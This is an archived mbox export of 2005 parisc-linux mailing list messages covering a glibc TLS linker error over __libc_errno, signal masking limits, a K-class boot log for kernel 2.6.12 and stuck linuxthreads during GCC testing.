Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] TLS patches for glibc,
	and problems with symbols (TLS vs. non-TLS __libc_errno).
Date: Wed, 6 Apr 2005 01:52:36 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <20050406055234.GW1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623740 13686 80.91.229.3 (22 Nov 2014 02:35:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 05:52:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 06 Apr 2005 07:52:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 905CB7D67E;
	Tue,  5 Apr 2005 23:52:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27980-05; Tue, 5 Apr 2005 23:52:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A65437D681;
	Tue,  5 Apr 2005 23:52:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B32017D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 23:52:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27827-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Apr 2005 23:52:38 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3F86E7D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Apr 2005 23:52:38 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DJ3Sv-0006le-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 06 Apr 2005 01:52:37 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eRwhYjcaeSE5+76WZHQhaXN2IGRvbwD9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22574


Farthest I've gotten in my build yet, putting together the libc library
causes a linker error:

--
gcc   -nostdlib -nostartfiles -r -o
/home/carlos/fsrc/tls-toolchain/build/libc/2005-04-05-hppa/elf/librtld.map.o
'-Wl,-('
/home/carlos/fsrc/tls-toolchain/build/libc/2005-04-05-hppa/elf/dl-allobjs.os
/home/carlos/fsrc/tls-toolchain/build/libc/2005-04-05-hppa/libc_pic.a
-lgcc '-Wl,-)'
-Wl,-Map,/home/carlos/fsrc/tls-toolchain/build/libc/2005-04-05-hppa/elf/librtld.mapT
/mnt/flaire/src/tls-toolchain/install/bin/../lib/gcc/hppa-linux/3.4.3/../../../../hppa-linux/bin/ld:
__libc_errno: TLS definition in
/home/carlos/fsrc/tls-toolchain/build/libc/2005-04-05-hppa/libc_pic.a(errno.os)
section .tbss mismatches non-TLS reference in
/home/carlos/fsrc/tls-toolchain/build/libc/2005-04-05-hppa/libc_pic.a(check_fds.os)
/home/carlos/fsrc/tls-toolchain/build/libc/2005-04-05-hppa/libc_pic.a:
could not read symbols: Bad value
collect2: ld returned 1 exit status
make[2]: ***
[/home/carlos/fsrc/tls-toolchain/build/libc/2005-04-05-hppa/elf/librtld.map]
Error 1
make[2]: Leaving directory `/mnt/flaire/src/tls-toolchain/src/libc/elf'
make[1]: *** [elf/subdir_lib] Error 2
make[1]: Leaving directory `/mnt/flaire/src/tls-toolchain/src/libc'
make: *** [all] Error 2
--

I later realized that this all has to do with our handling of errno. I'm
going to have to bite the bullet and write the ugly ASM code to handle
all the errno cases based on defines during the build.

glibc head patches:
http://www.parisc-linux.org/~carlos/glibc-work/glibc-hppa-patches-2005-04-05.tar.gz

tls patches against the above:
http://www.parisc-linux.org/~carlos/glibc-work/glibc-hppa-tls-2005-04-05.diff

That *should* get you to the above state.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 12:11:31 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200504061611.j36GBWEc005840@hiauly1.hia.nrc.ca>
References: <200504060842.j368gtvK004155@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623740 13691 80.91.229.3 (22 Nov 2014 02:35:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 16:12:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 06 Apr 2005 18:12:24 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0175F7D681;
	Wed,  6 Apr 2005 10:12:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31909-06; Wed, 6 Apr 2005 10:12:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 638FF7D688;
	Wed,  6 Apr 2005 10:12:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 19B857D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 10:12:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31909-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 10:12:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7F21F7D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 10:12:06 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j36GBWhF005841; Wed, 6 Apr 2005 12:11:33 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j36GBWEc005840;
	Wed, 6 Apr 2005 12:11:32 -0400 (EDT)
In-Reply-To: <200504060842.j368gtvK004155@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Apr 6, 2005 04:42:54 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Pm8mYvQ3eSE5+76WZHQhaXN2IGRvbwAY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22575

> #define SIGXCPU         33      /* CPU limit exceeded (4.2 BSD).  */
> #define SIGXFSZ         34      /* File size limit exceeded (4.2 BSD).  */
> #define SIGSTKFLT       36      /* Stack fault.  */

I guess the answer to my question is these signals aren't used,
so we only support a maximum of 32 signals that can be masked.
Hopefully, an EINVAL error will be generated if the above signals
used.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anders <dizzey@ing.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] k-class 2.6.12 almost working (i think)
Date: Wed, 6 Apr 2005 19:39:55 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20050406173955.GA17950@ing.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623741 13692 80.91.229.3 (22 Nov 2014 02:35:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 17:40:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 06 Apr 2005 19:40:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E93F7D698;
	Wed,  6 Apr 2005 11:40:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00378-09; Wed, 6 Apr 2005 11:39:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 580957D694;
	Wed,  6 Apr 2005 11:39:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B6087D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 11:39:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00378-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 11:39:53 -0600 (MDT)
Original-Received: from tyra.ing.umu.se (tyra.ing.umu.se [130.239.117.83])
	by free.linux.hp.com (Postfix) with ESMTP id 8727F7D630
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 11:39:53 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by tyra.ing.umu.se (Postfix) with ESMTP id 38B9A20022A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 19:40:05 +0200 (CEST)
Original-Received: from tyra.ing.umu.se ([127.0.0.1])
	by localhost (tyra.ing.umu.se [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id 18312-01-2 for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 19:39:55 +0200 (CEST)
Original-Received: by tyra.ing.umu.se (Postfix, from userid 1000)
	id 91CCC1FFABF; Wed,  6 Apr 2005 19:39:55 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new at ing.umu.se
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: W3omYtsOeSE5+76WZHQhaXN2IGRvbwCQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22576

i have now mangaed to boot longer in the boot process with 2.6.12
so i am submiting a new bootlog.

http://www.ing.umu.se/~dizzey/bootlog_k460_2.6.12-rc1-pa4

i did try to boot the 2.6.12 kernel without md raid support but gave the same results.
im sorry but i seem to have lost the bootloog for that event if you want it i will try to make a new 
tomrow.

im also seending a log for 2.6.8.1 wich to my eyes seems to have some kind of simular error.

http://www.ing.umu.se/~dizzey/bootlog_k460_2.6.8.1-pa11


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 14:13:37 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20050406181337.GX1833@baldric.uwo.ca>
References: <200504060842.j368gtvK004155@hiauly1.hia.nrc.ca>
	<200504061611.j36GBWEc005840@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623741 13696 80.91.229.3 (22 Nov 2014 02:35:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 18:13:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 06 Apr 2005 20:13:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B7C017D69A;
	Wed,  6 Apr 2005 12:13:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01125-05; Wed, 6 Apr 2005 12:13:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 324E97D69B;
	Wed,  6 Apr 2005 12:13:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D1A987D699
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 12:13:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01069-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 12:13:47 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3A2A97D698
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 12:13:47 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DJF22-0001mJ-00; Wed, 06 Apr 2005 14:13:38 -0400
Content-Disposition: inline
In-Reply-To: <200504061611.j36GBWEc005840@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (40% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tUMmYgkOeSE5+76WZHQhaXN2IGRvb8CT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22577

On Wed, Apr 06, 2005 at 12:11:31PM -0400, John David Anglin wrote:
> > #define SIGXCPU         33      /* CPU limit exceeded (4.2 BSD).  */
> > #define SIGXFSZ         34      /* File size limit exceeded (4.2 BSD).  */
> > #define SIGSTKFLT       36      /* Stack fault.  */
> 
> I guess the answer to my question is these signals aren't used,
> so we only support a maximum of 32 signals that can be masked.
> Hopefully, an EINVAL error will be generated if the above signals
> used.

Ah, ok.

We still have the problem of a *stuck* thread using linuxthreads.
Which we don't have a clear solution for...

More debugging is required. Perhaps I'll take a break from TLS glibc
stuff to debug this a bit.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 14:37:49 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200504061837.j36IbnWI006770@hiauly1.hia.nrc.ca>
References: <20050406181337.GX1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623741 13698 80.91.229.3 (22 Nov 2014 02:35:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Apr 2005 18:38:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 06 Apr 2005 20:38:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 759AD7D6A4;
	Wed,  6 Apr 2005 12:38:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01852-07; Wed, 6 Apr 2005 12:38:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C078E7D69E;
	Wed,  6 Apr 2005 12:38:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA4EF7D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 12:38:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01679-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 6 Apr 2005 12:38:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6509A7D696
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  6 Apr 2005 12:38:22 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j36IbohF006772; Wed, 6 Apr 2005 14:37:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j36IbnWI006770;
	Wed, 6 Apr 2005 14:37:49 -0400 (EDT)
In-Reply-To: <20050406181337.GX1833@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 6, 2005 02:13:37 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4EkmYhsHeSE5+76WZHQhaXN2IGRvb0AR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22578

> We still have the problem of a *stuck* thread using linuxthreads.
> Which we don't have a clear solution for...

It's my belief that expect/tcl has a similar problem, so the problem
likely isn't specific to linuxthreads.  Expect definitely doesn't use
linuxthreads.  This affects GCC and binutils testing so I rate fixing
this as extremely important ;^)

The problem also affects java.  I often have to manually kill various
java processes after a GCC test run completes.  At the moment, locking
isn't atomic in java.  I wonder if we are being bitten by the glibc
routines that still aren't atomic.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
Date: Wed, 6 Apr 2005 04:42:54 -0400 (EDT)
Lines: 71
Approved: news@gmane.org
Message-ID: <200504060842.j368gtvK004155@hiauly1.hia.nrc.ca>
References: <20050406045954.GU1833@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623741 13700 80.91.229.3 (22 Nov 2014 02:35:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
